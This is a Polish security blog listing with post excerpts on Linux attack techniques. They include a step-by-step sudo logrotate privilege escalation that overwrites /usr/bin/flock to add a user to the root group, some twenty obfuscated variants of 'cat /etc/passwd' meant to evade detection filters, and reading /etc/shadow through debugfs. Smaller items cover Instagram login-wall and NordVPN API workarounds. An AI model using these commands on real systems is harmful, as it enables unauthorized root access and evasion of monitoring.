NFsec Logo

Obchodzenie flagi montowania noexec za pomocą ddexec

27/01/2025 w Bezpieczeństwo Możliwość komentowania Obchodzenie flagi montowania noexec za pomocą ddexec została wyłączona

W

systemie Linux wszystko jest plikiem. W celu uruchomienia programu w tym systemie musi on istnieć jako plik i być dostępny w jakiś sposób przez hierarchię systemu plików (tak właśnie działa execve() wykonując program, do którego odnosi się ścieżka dostępu). Plik ten może znajdować się na dysku lub w pamięci (tmpfs), ale nadal potrzebujemy ścieżki do pliku. Dzięki temu bardzo łatwo jest kontrolować, co jest uruchamiane w systemie Linux i ułatwia to wykrywanie zagrożeń oraz narzędzi atakujących. Pomaga to też w nakładaniu opowiednich praw dostępu i polityk kontroli dostępu zapobiegając nieuprzywilejowanym użytkownikom umieszczać i wykonywać pliki gdziekolwiek. Jednak technika użyta w DDexec nie uruchamia nowego procesu w danej ścieżce, ale przejmuje już istniejący.
[ czytaj całość… ]

Uciekając z sudo – część szósta

24/09/2024 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część szósta została wyłączona

P

oprzez wykorzystanie dowolnych komentarzy zawierających specjalny znak nowej linii: “\n” i za pośrednictwem poleceń iptables oraz iptables-save możemy nadpisać dowolny plik z prawami administratora i częściowo kontrolować zapisane wiersze – częściowo, ponieważ moduł komentarzy w iptables pozwala na umieszczenie 256 znaków, a zapis pliku poprzez iptables-save wprowadza pewne dane z utworzonych reguł zapory ogniowej (ang. firewall), które są dodawane przed i po wstrzykniętym komentarzu. W systemie Linux jest przynajmniej jeden plik, który nie przejmuje się niepotrzebnymi wierszami i je ignoruje, a jest nim (nie)sławny plik /etc/passwd.
[ czytaj całość… ]

Zaciemnianie poleceń w powłoce bash

15/09/2024 w Hacks & Scripts, Pen Test Możliwość komentowania Zaciemnianie poleceń w powłoce bash została wyłączona

P

owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:

cat /etc/passwd

może zostać zapisane na wiele różnych sposobów dając ten sam wynik:

cat /et\
c/pa\
sswd

cat${IFS}/etc/passwd

IFS=,;`cat<<<cat,/etc/passwd`

{cat,/etc/passwd}

cat</etc/passwd

X=$'cat\x20/etc/passwd'&&$X

cat ${HOME:0:1}etc${HOME:0:1}passwd

{\c''\a""t,/e''*?/?a?s??}

{\c''\a""\t,/\e''*?/\p*w\d}

{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}

{/b??/g?e?,.,/e??/p?s??d}

$(echo {/b??/ge*n''t,\p\a\s\s\w\d})

$(echo cat /etc/[p][a][s][s][w][d])

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \ 
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}

Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.

Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine

Uciekając z sudo – część piąta

04/10/2023 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część piąta została wyłączona

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit ‘sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

Living Off The Land Drivers

08/04/2023 w Bezpieczeństwo Możliwość komentowania Living Off The Land Drivers została wyłączona

L

OLD to kolejny projekt kierowany przez społeczność, który zapewnia wyselekcjonowaną listę wszystkich sterowników Windows, które mogą zostać wykorzystane przez atakujących do obejścia systemów bezpieczeństwa i uruchomienia złośliwego oprogramowania. Projekt został zainspirowany pracą Michaela Haaga (Atomics on Friday), który zauważył potrzebę śledzenia złośliwych sterowników, których aktorzy używają w celu uniknięcia wykrycia i ma na celu pomoc specjalistom ds. bezpieczeństwa bycie na bieżąco w rozpoznawaniu potencjalnych zagrożeń. Podobnie jak inne tego rodzaju projekty jest on typu open source, który z zadowoleniem przyjmuje wkład społeczności zajmującej się bezpieczeństwem. Dzieląc się wiedzą i doświadczeniem, możemy pomagać sobie nawzajem w uzyskiwaniu aktualnych informacji i lepszej ochronie przed pojawiającymi się zagrożeniami. Niezależnie od tego, czy jesteś badaczem bezpieczeństwa, osobą reagującą na incydenty czy administratorem systemu autorzy mają nadzieję, że LOLD będzie cennym źródeł informacji w walce z cyberatakami. Dla przypomnienia: inne tego typu projekty to: GTFOBins, LOLBas, LOTS, Filesec, MalAPI.

Więcej informacji: LOLDrivers

Alternatywne otwieranie plików pod radarem XDR i SIEM

11/12/2022 w Pen Test Możliwość komentowania Alternatywne otwieranie plików pod radarem XDR i SIEM została wyłączona

root@darkstar:~# debugfs
debugfs 1.44.1 (24-Mar-2018)
debugfs:  open /dev/vda1
debugfs:  cd /etc
debugfs:  cat shadow
root:$6$HeeGzA.awU7P35OuN6GbBHl7yAwIDmelemelekIiaGLVYA8/hNKI1:19290:0:99999:7:::

Więcej informacji: 0xm1rch

Strzał w stopę z Dockera

30/06/2021 w Bezpieczeństwo Możliwość komentowania Strzał w stopę z Dockera została wyłączona

S

erwis NewsBlur 3 godziny po zakończeniu migracji swojej infrastruktury MongoDB na kontenery Docker doświadczył usunięcia danych. Otóż sam serwer miał włączoną zaporę sieciową UFW (ang. Uncomplicated Firewall) z ścisłą listą dozwolonych adresów IP. Co takiego się stało? Otóż okazało się, że decydując się na publikację portu MongoDB na kontenerze – Docker w standardzie robi swoją sztuczkę (znaną od 2014 roku) pod postacią dziury w zaporze otwierając dany port (tutaj: 27017) na świat. Proces ten jest opisany w dokumentacji:

This creates a firewall rule which maps a container port to a port on the Docker host to the outside world.

Wielu użytkowników jest zdziwiona takim zachowaniem – spodziewając się raczej odwrotnej polityki: świadomego włączenia funkcji otwierania portów niż konieczności ich wyłączenia (--iptables=false), czy potrzebę definiowania reguł iptables na poziomie łańcucha mangle, a nie filter. Oczywiście cała ta sytuacja nie tłumaczy uruchomienia niezabezpieczonej bazy NoSQL w kontenerze.

Więcej informacji: How a Docker footgun led to a vandal deleting NewsBlur’s MongoDB database, Docker Network bypasses Firewall, no option to disable

NordVPN – zabawy z API i Cloudflare X-Forwarder-For

07/01/2021 w Pen Test Możliwość komentowania NordVPN – zabawy z API i Cloudflare X-Forwarder-For została wyłączona

S

erwery API serwisu NordVPN stoją za Cloudflare. Jeśli wejdziemy na jeden z adresów API otrzymamy w formacie JSON geo informację o swoim adresie IP z zaznaczeniem czy jest on chroniony przez wspomnianą usługę, czy nie: "protected": false. Jeśli z ciekawości do metody insights dodamy parametr ?ip=$IP okazuje się, że możemy taką informację otrzymać o dowolnym (poprawnym) adresie IP w internecie. Na przykład: 1.1.1.1. W praktyce oznacza to, że oprócz VPN możemy gratis dostać usługę GeoIP znaną z Maxmind. W celach testowych zebrałem sobie 1000 adresów IP, dla których chciałbym sprawdzić informacje geo. Skoro północny serwis mi to oferuje za darmo to wystarczy uruchomić prosty skrypt:
[ czytaj całość… ]

Zaufana Trzecia Strona w SSL

23/11/2020 w Bezpieczeństwo Możliwość komentowania Zaufana Trzecia Strona w SSL została wyłączona

L

et’s Encrypt to organizacja non-profit oraz projekt open-source zapewniający dostęp do bezpłatnych certyfikatów SSL. Pozwala na automatyczne przedłużanie ważności certyfikatów, które domyślnie wystawiane są na okres 3 miesięcy i są zgodne z najpopularniejszymi przeglądarkami internetowymi. Od ponad roku oprócz CA Let’s Encrypt istnieje możliwość uzyskania darmowych certyfikatów od firmy Bypass. Firma ta jest europejskim CA (ang. Certificate Authority) oferującym darmowe certyfikaty, których ważność wynosi 180 dni. Teraz do grona darmowych dostawców dołącza trzeci CA – ZeroSSL (również 90 dni). Każdy z tych dostawców jest kompatybilny z narzędziami ułatwiającymi zarządzanie certyfikatami, jak CertBot oraz ACME. Osoby zainteresowane napisaniem własnych rozwiązań mogą również wykorzystać REST API. W przypadku problemów technicznych z jednym dostawcą istnieje teraz alternatywa pozwalająca na szybkie przełączenie się na inne CA.

Obchodzenie wymogu logowania serwisu instagram.com

21/06/2020 w Techblog Możliwość komentowania Obchodzenie wymogu logowania serwisu instagram.com została wyłączona

S

erwis instagram jakiś czas temu wprowadził wymóg logowania po przeglądnięciu kilku zdjęć. Znajomy poprosił mnie o zbadanie, czy istnieją istnieją alternatywne metody, aby ominąć tą restrykcję. Najszybszym i najprostszym sposobem jest wykorzystanie serwisu ImgInn, który wykorzystuje API serwisu instagram. Wystarczy adres w postaci: https://instagram/mike.wazowski zamienić na: https://imginn.com/mike.wazowski, co daje nam pełen dostęp do obrazów z danego profilu z możliwością ich ściągnięcia. Serwis ten umożliwia również usuwanie danych wybranych kont – dlatego jeśli nie możemy wykonać podglądu z tej pozycji pozostaje nam dodanie własnego filtru do dodatku uBlock Origin:

instagram.com##._Yhr4.RnEpo
instagram.com##body:style(overflow:visible !important;)

lub ręcznie za pomocą “Narzędzi programistycznych” (F12 w przeglądarce) zmieniamy kod HTML z:

<body class style="overflow: hidden;">

na:

<body class style="overflow: visible;">

oraz wyszukujemy element HTML div z frazą "_Yhr4" w nazwie klasy i go cały usuwamy. Od tej chwili możemy swobodnie przewijać stronę, ale niestety nie możemy powiększać obrazów poprzez klikanie na nie. Dla rozwiązania tego problemu użyjemy stałego skrótu URL. Wystarczy skopiować adres dowolnego obrazka np.:

https://www.instagram.com/p/wWwNfseCwPl/

i dodać do niego frazę: /media/?size=l, czyli:

https://www.instagram.com/p/wWwNfseCwPl/media/?size=l

Więcej informacji: Wątek na Twitterze